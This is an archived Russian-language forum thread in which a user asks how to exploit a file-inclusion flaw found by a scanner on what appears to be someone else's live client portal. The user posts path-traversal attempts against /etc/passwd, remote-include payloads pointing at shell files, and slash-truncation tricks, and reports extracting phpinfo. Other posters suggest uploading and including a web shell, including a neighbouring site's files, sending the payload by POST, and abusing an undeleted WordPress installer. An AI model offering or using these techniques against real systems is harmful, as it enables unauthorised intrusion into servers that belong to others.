PDA

Просмотр полной версии : File inclusion


.Light.
23.02.2016, 09:45
как быть с этим?

File inclusion

Vulnerability description

This script is possibly vulnerable to file inclusion attacks.

It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.

This vulnerability affects /client-portal/ (https://antichat.live/file_/C_/ProgramData/Acunetix_20WVS_2010/Data/Reporter/ReportItemTemp.xml/).

Discovered by: Scripting (File_Inclusion.script).

Attack details

Cookie input FxOACPLang was set to http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg (http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg)

Pattern found:

Failed opening required '/home/admin/web/public_html/location/http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg.php'

Ошибка

Warning: require_once(/home/admin/web/site/public_html/client-portal/location/http:/image.php.php): failed to open stream: No such file or directory in /home/admin/public_html/client-portal/initialize.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d codeon line 21

Fatal error: require_once(): Failed opening required '/home/admin/web/site/public_html/client-portal/location/http://image.php.php (http://image.php.php/)' (include_path='.:/usr/share/php:/usr/share/pear') in /home/admin/web/public_html/client-portal/initialize.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code on line 21

Пробую вот так ничего не вывыходит(

Fatal error: require_once(): Failed opening required '/home/admin/web/site/public_html/client-portal/location/../../../../../../../etc/passwd' (include_path='.:/usr/share/php:/usr/share/pear') in /home/admin/web/site/public_html/client-portal/initialize.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code on line 21

faza02
23.02.2016, 10:16
открыть уже статью по инклудам, нет?

.Light.
23.02.2016, 10:20
yarbabin said:
↑ (https://antichat.live/posts/3955895/)
открыть уже статью по инклудам, нет?


Читал,смотрел не получается ((((Подскажите плз что делать

Везде в примерах идет ?page=http://site.ru/shell.txt

А у меня /location/

Подскажите таким методом

/public_html/client-portal/location/http://site/image.txt.php

Файл загружается на сервер?

blackbox
23.02.2016, 11:31
.Light. said:
↑ (https://antichat.live/posts/3955896/)
Читал,смотрел не получается ((((Подскажите плз что делать
Везде в примерах идет ?page=
http://site.ru/shell.txt
А у меня /location/
Подскажите таким методом
/public_html/client-portal/location/
http://site/image.txt.php
Файл загружается на сервер?


Очевидно же что тут инклуд локальный и расширение файла ".php" (в первом посте видно). В новых версиях пхп его обрезать нельзя емнип, поэтому нужно еще какую-нибудь уязвимость использовать вместе с этой, чтобы код свой выполнить.

.Light.
23.02.2016, 11:34
blackbox said:
↑ (https://antichat.live/posts/3955920/)
Очевидно же что тут инклуд локальный и расширение файла ".php" (в первом посте видно). В новых версиях пхп его обрезать нельзя емнип, поэтому нужно еще какую-нибудь уязвимость использовать вместе с этой, чтобы код свой выполнить.


Значит это просто раскрытие путей?

blackbox
23.02.2016, 11:37
.Light. said:
↑ (https://antichat.live/posts/3955921/)
Значит это просто раскрытие путей?


Нет, раскрытие путей есть конечно же, но это инклуд.

.Light.
23.02.2016, 11:38
blackbox said:
↑ (https://antichat.live/posts/3955923/)
Нет, раскрытие путей есть конечно же, но это инклуд.


Так как им воспользоваться?) я уде все перепробывал.Я чтото делаю не так.Это мой первый инклуд)Ребят помогите плз

Я могу открывать только php файлы

400 Bad Request

Request Header Or Cookie Too Large nginx

это когда 4096 слешей

blackbox
23.02.2016, 14:51
.Light. said:
↑ (https://antichat.live/posts/3955925/)
Так как им воспользоваться?) я уде все перепробывал.Я чтото делаю не так.Это мой первый инклуд)Ребят помогите плз
Я могу открывать только php файлы
400 Bad Request
Request Header Or Cookie Too Large nginx
это когда 4096 слешей


Во-первых нужно узнать версию php, чтобы понять, можно ли воспользоваться трюком со слешами (там кстати свои особенности). Вот еще хорошая статья: https://intsystem.org/security/issledovanie-php-include/. Вот еще нужно почитать это: https://rdot.org/forum/showthread.php?t=343&page=3. Но самое главное, это то что nginx не принимает такой большой запрос - тут я не знаю как выкрутится, можно попробовать послать POST запрос, если имя файла для подключение берется из $_REQUEST а не из $_GET, в чем я лично сомневаюсь. В любом случае слеш с точками можно через пост попробовать. А так даже не уверен, пусть олдфаги подскажут.

.Light.
23.02.2016, 21:00
blackbox said:
↑ (https://antichat.live/posts/3955976/)
Во-первых нужно узнать версию php, чтобы понять, можно ли воспользоваться трюком со слешами (там кстати свои особенности). Вот еще хорошая статья:
https://intsystem.org/security/issledovanie-php-include/
. Вот еще нужно почитать это:
https://rdot.org/forum/showthread.php?t=343&page=3
. Но самое главное, это то что nginx не принимает такой большой запрос - тут я не знаю как выкрутится, можно попробовать послать POST запрос, если имя файла для подключение берется из $_REQUEST а не из $_GET, в чем я лично сомневаюсь. В любом случае слеш с точками можно через пост попробовать. А так даже не уверен, пусть олдфаги подскажут.


не помогает(

blackbox
23.02.2016, 22:41
.Light. said:
↑ (https://antichat.live/posts/3956082/)
не помогает(


Ну вообще такие вещи неплохо у себя на локалхосте пробовать а не сразу в боевых условиях. А как быть с nginx - не знаю, возможно следует копать в другую сторону: например искать как можно создать файл на сервере с нужным расширением.

.Light.
24.02.2016, 08:42
С этой версией все безнадежно?

Удалось вытащить phpinfo

allow_url_fopen On On

allow_url_include Off Off

always_populate_raw_post_data Off

output_buffering 4096

PHP Version 5.4.45-0+deb7u2

blackbox
24.02.2016, 11:38
.Light. said:
↑ (https://antichat.live/posts/3956199/)
С этой версией все безнадежно?
Удалось вытащить phpinfo
allow_url_fopen On On
allow_url_include Off Off
always_populate_raw_post_data Off
output_buffering 4096
PHP Version 5.4.45-0+deb7u2


Можно было бы попробовать https://xakep.ru/2012/01/25/58183/ , но у тебя расширение фиксированное, поэтому хз что еще посоветовать.

BabaDook
24.02.2016, 12:17
blackbox said:
↑ (https://antichat.live/posts/3956221/)
Можно было бы попробовать
https://xakep.ru/2012/01/25/58183/
, но у тебя расширение фиксированное, поэтому хз что еще посоветовать.


а что тут сделаешь, заливать только файл шел. и инклудить. Хорошо если есть соседи. можно как вариант инклудить соседний сайт. Я так понимаю этот сайт - вопрос жизни и смерти

.Light.
24.02.2016, 12:23
BabaDook said:
↑ (https://antichat.live/posts/3956232/)
а что тут сделаешь, заливать только файл шел. и инклудить. Хорошо если есть соседи. можно каквариант инклудить соседний сайт. Я так понимаю этот сайт - вопрос жизни и смерти


Там WP стоит файл install не удален,это может както помочь?

.Light.
23.03.2016, 13:53
Подскажите что можно сделать?

css.php?f=http://site/shell.php?.css&sid=0 (http://site/shell.php%3F.css&sid=0)

форма входа отображается в виде текста

Password: >'>

cyrhaller
23.03.2016, 15:08
.Light. said:
↑ (https://antichat.live/posts/3966054/)
Подскажите что можно сделать?
css.php?f=
http://site/shell.php?.css&sid=0 (http://site/shell.php%3F.css&sid=0)
форма входа отображается в виде текста
Password: >'>


SSRF?